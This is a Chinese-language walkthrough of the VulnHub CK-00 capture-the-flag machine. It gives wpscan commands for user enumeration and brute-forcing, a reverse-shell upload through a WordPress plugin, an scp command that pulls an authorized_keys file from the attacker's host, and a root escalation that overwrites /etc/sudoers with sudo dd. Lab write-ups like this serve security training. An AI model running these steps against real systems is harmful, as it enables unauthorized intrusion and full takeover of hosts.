CK-00靶机详解

CK-00靶机详解

靶场下载地址:https://download.vulnhub.com/ck/CK-00.zip

这个靶场扫描到ip打开后发现主页面css是有问题的,一般这种情况就是没有配置域名解析。

我们网站主页右击查看源代码,发现一个域名。

CK-00靶机详解_第1张图片

把域名添加到我们hosts文件中。

CK-00靶机详解_第2张图片

目录扫描时候发现这是一个wordpress的网站,两个登陆页面,都是一样的。

CK-00靶机详解_第3张图片

wpscan可以扫描出wordpress的登陆用户名。

wpscan --url http://ck --enumerate u

CK-00靶机详解_第4张图片

这时候我们扫出来一个用户名叫做admin

CK-00靶机详解_第5张图片

然后根据这个用户名爆破一下。

wpscan --url http://ck -U admin -P /usr/share/wordlists/rockyou.txt

CK-00靶机详解_第6张图片

大概两分钟密码就出来了,账号密码都是admin

image-20230725210551676

我们登陆上wordpress的后台,这个位置是一个插件,这里可以上传php文件,我们可以上传一个反弹shell。

CK-00靶机详解_第7张图片

CK-00靶机详解_第8张图片

这个目录通常是wordpress上传上来文件的位置。

CK-00靶机详解_第9张图片

打开一下我们的反弹shell文件。

CK-00靶机详解_第10张图片

kali中监听一下,这边就拿到了一个web shell。

利用python3拿到一个稳定的shell。

python3 -c "import pty;pty.spawn('/bin/bash')"

CK-00靶机详解_第11张图片

通常wordress都有一个配置文件,里面有数据库的账号密码。

CK-00靶机详解_第12张图片

在这里面找到一个账号密码,这个密码不是root用户的密码

CK-00靶机详解_第13张图片

但是发现这个密码能进去bla用户。

bla_is_my_password

CK-00靶机详解_第14张图片

sudo -l发现这个用户可以以bla1用户的身份执行scp命令。

CK-00靶机详解_第15张图片

这里我们看一下,在bla1目录下是没有.ssh文件的,当我们用scp命令拷贝我们kali中的一个文件时候,它会先私钥验证看看能不能拷贝,所以就在这里面自动创建了一个.ssh目录。

我们可以把我们kali的authorized_keys文件拷贝到靶机的这个.ssh中去就可以免密登陆这个用户了。

CK-00靶机详解_第16张图片

这里我们拷贝到这个新出现的.ssh目录中去。

sudo -u bla1 /usr/bin/scp [email protected]:/root/.ssh/authorized_keys .ssh/

image-20230725221244148

然后用我们kali的私钥就可以登陆bla1用户了

image-20230725221310028

sudo -l后发现bla1用户可以免密执行ck-00用户的rbash.

这里我们就可以拿到ck-00用户的rbash了。

CK-00靶机详解_第17张图片

拿到ck-00的rbash后sudo -l发现可以免密以root权限执行dd命令。

image-20230725222051890

dd命令可以往一个文件中写东西,以覆盖的方式。

这时候我们直接给bla用户所有的权限,写到sudoers文件中,bla用户就有全部的权限了,可以直接提权。

echo "bla  ALL=(ALL:ALL) NOPASSWD:ALL"|sudo dd of=/etc/sudoers

image-20230725222117743

我们登陆上bla用户直接提权发现拿到了root权限。

CK-00靶机详解_第18张图片

你可能感兴趣的:(打靶机系列,linux,网络安全,web安全)